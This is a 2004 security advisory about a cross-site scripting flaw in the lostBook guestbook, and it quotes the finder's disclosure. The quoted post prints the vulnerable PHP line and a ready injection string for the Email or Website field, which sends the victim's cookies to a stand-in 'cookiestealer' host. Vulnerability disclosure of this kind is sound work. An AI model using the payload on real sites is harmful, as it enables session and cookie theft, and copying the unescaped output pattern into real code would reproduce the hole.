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Category:   Application (Generic)  >   lostBook Vendors:   verylost.tk
lostBook Input Validation Holes Let Remote Users Conduct Cross-Site Scripting Attacks
SecurityTracker Alert ID:  1010812
SecurityTracker URL:  http://securitytracker.com/id/1010812
CVE Reference:   GENERIC-MAP-NOMATCH   (Links to External Site)
Date:  Jul 29 2004
Impact:   Disclosure of authentication information, Disclosure of user information, Execution of arbitrary code via network, Modification of user information
Exploit Included:  Yes  
Version(s): 1.1 and prior versions
Description:   An input validation vulnerability was reported in the lostBook guestbook software. A remote user can conduct cross-site scripting attacks.

r3d5pik3 reported that the software does not filter HTML code from user-supplied input in the Email and Website fields. A remote user can submit specially crafted text that, when viewed by a target user, will cause arbitrary scripting code to be executed by the target user's browser. The code will originate from the site running the lostBook software and will run in the security context of that site. As a result, the code will be able to access the target user's cookies (including authentication cookies), if any, associated with the site, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.

The vendor has reportedly been notified.

Impact:   A remote user can access the target user's cookies (including authentication cookies), if any, associated with the site running the lostBook software, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.
Solution:   No solution was available at the time of this entry.
Vendor URL:  verylost.f2o.org/lostBook.php (Links to External Site)
Cause:   Input validation error
Underlying OS:  Linux (Any), UNIX (Any), Windows (Any)

Message History:   None.


 Source Message Contents

Subject:  lostBook v1.1 Javascript Execution




-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Product:  lostBook
vendor: veryLost (verylost.tk)
Affected Versions:  1.1 and lower
Description:  A simple flat db guestbook
Vulnerabilities:  XSS
Date:  July 29, 2004
Vuln Finder: r3d5pik3 (me)
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
1.) About
2.) Javascript Execution
3.) Vendor Notice
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
(o_O)oOoOoOo [ About ] oOoOoOo(O_o)

Ok the only reason i consider this javascript execution instead of XSS. Is simply because you cant inject html like you can in most
 XSS vulnrabilities.

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
(o_O)oOoOoOo [ JScript Execution ] oOoOoOo(O_o)

On the write entry page of the guest book there are 4 fields: Name, Email, Website, Entry. The Email and Website feild go through
 no filtering, and a malicous hacker could use that to insert javascript.

Example:
The Website data gets parsed like so
if(isset($web) && $web != "" && $web != " ") echo ' <a href="'.$web.'"><img src="'.$path2files.'website.gif" border="0" alt="'.$web.'"></a>';

An attacker would go about injecting xss by the following ways.
Inputting the following into either email or website field.
r3d5pik3.com" onload="document.location='http://www.cookiestealer.com?cookie='+document.cookie
if onload doesnt work they could simply use onmouseover instead
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
(o_O)oOoOoOo [ Vendor Notification ] oOoOoOo(O_o)

A couple seconds ago.

-r3d5pik3
ph33r t3h r3d 1z !!!

 
 


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